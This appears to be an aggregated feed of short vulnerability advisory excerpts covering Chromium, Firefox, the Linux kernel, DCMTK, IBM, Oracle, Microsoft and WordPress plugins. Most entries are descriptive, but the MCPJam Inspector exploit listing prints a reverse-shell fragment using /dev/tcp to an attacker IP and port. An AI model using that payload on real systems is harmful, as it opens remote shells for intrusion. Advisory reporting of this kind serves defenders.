Astra Linux – Vulnerability in Chromium

Using “after free” in Media in Google Chrome on Linux and ChromeOS before version 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to execute arbitrary code within a sandbox through a crafted HTML page. Chromium security severity: Medium...

Astra Linux – Vulnerability in Firefox and Thunderbird

Firefox has a spoofing issue. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, and Firefox ESR 115.30...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15

In the Linux kernel before version 6.4.12, amdgpucswaitallfences in drivers/gpu/drm/amd/amdgpu/amdgpucs.c contains a use-of-fence issue...

Astra Linux – Vulnerability in dcmtk

There is an incorrect type conversion vulnerability in the DVPSSoftcopyVOIPList::createFromImage function of OFFIS DCMTK 3.6.8. A specially crafted, malformed file can lead to arbitrary code execution. An attacker can provide a malicious file to exploit this vulnerability...

ROOT-APP-NPM-CVE-2026-27606 CVE-2026-27606 in rollup - Patched by Root

Root has patched CVE-2026-27606 in the rollup package for Root:npm. Multiple fixed versions available...

EUVD-2026-53695

A vulnerability was found in heshengtao super-agent-party up to 0.4.1. This affects the function getfilecontent of the file server.py of the component executetoolmanually Endpoint. The manipulation of the argument toolname/toolparams results in information disclosure. The attack can be launched...

Security Bulletin: IBM Maximo Application Suite - Visual Inspection component uses go.mongodb.org/mongo-driver-v1.12.0 which is vulnerable to CVE-2026-2303

Summary IBM Maximo Application Suite - Visual Inspection component uses go.mongodb.org/mongo-driver-v1.12.0 which is vulnerable to CVE-2026-2303, This bulletin contains information regarding the vulnerability and its remediation. Vulnerability Details CVEID:CVE-2026-2303 DESCRIPTION: The...

The vulnerability of the Downloads component in the Google Chrome browser allows a hacker to trigger a service failure.

The vulnerability of the Downloads component in the Google Chrome browser is related to insufficient validation of input data. Exploiting this vulnerability can allow a remote attacker to cause service interruptions...

CVE-2026-17655

An insufficient validation of untrusted input flaw was found in the ANGLE component of the Chromium browser. Upstream bugs: https://code.google.com/p/chromium/issues/detail?id=522556145...

CVE-2026-60423

Affected product: Oracle Unified Directory (OUD Core) within Oracle Fusion Middleware. Vulnerable versions: 12.2.1.4.0 and 14.1.2.1.0. Impact: Low-privilege attacker with network access via LDAP can compromise OUD and potentially take over the directory. Severity: CVSS v3.1 base score 8.8 (HIGH) ...

Linux Distros Unpatched Vulnerability : CVE-2026-49476

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory...

CVE-2026-55052 Microsoft SharePoint Elevation of Privilege Vulnerability

...

CVE-2026-55127 Microsoft Word Remote Code Execution Vulnerability

...

MCPJam Inspector - Remote Code Execution

Exploit Title: MCPJam Inspector - Remote Code Execution Date: 07/03/2026 Exploit Author: Diamorphine Vendor Homepage: https://www.mcpjam.com/ Software Link: https://github.com/MCPJam Version: & /dev/tcp/attackerip/attackerport 0&1", "env": , "serverId": "Hello666" readyurl = urljoinurl,...

Security Bulletin: Eclipse IDE versions 2023-09 (4.29) is vulnerable to external attack

Summary A vulnerability in Eclipse IDE version 2023-09 4.29 was found. The IBM Enterprise Records configuration manager tool was using Eclipse IDE to help present the user interface for customers to configure their software. Vulnerability Details CVEID:CVE-2023-4218 DESCRIPTION: In Eclipse IDE...

SUSE CVE-2026-54891

Improper Enforcement of Message Integrity During Transmission in a Communication Channel vulnerability in Erlang/OTP ssl tlsgenconnection module allows a network-positioned attacker to inject unauthenticated plaintext that the TLS client application later treats as authenticated server data. The...

CVE-2024-2883 vulnerabilities

Vulnerabilities for packages: chromium...

CVE-2026-13831

Out of bounds read and write in GPU in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-11364 Product Specifications for Woocommerce <= 0.8.9 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Attribute/Group Creation, Modification, and Deletion via 'dwps_modify_groups' and 'dwps_modify_attributes' AJAX Actions

The Product Specifications for WooCommerce plugin for WordPress is vulnerable to unauthorized modification, creation, and deletion of data in versions up to and including 0.8.9. This is due to a missing capability check and missing nonce verification in the invoke methods of the...

CVE-2026-8592

The vulnerability CVE-2026-8592 affects the Rapid7 InsightConnect AWK Plugin (Linux) where the process_string action constructs shell commands unsafely in the processing pipeline, enabling OS command execution via text or expression parameters. This is a remote issue with potential impact on conf...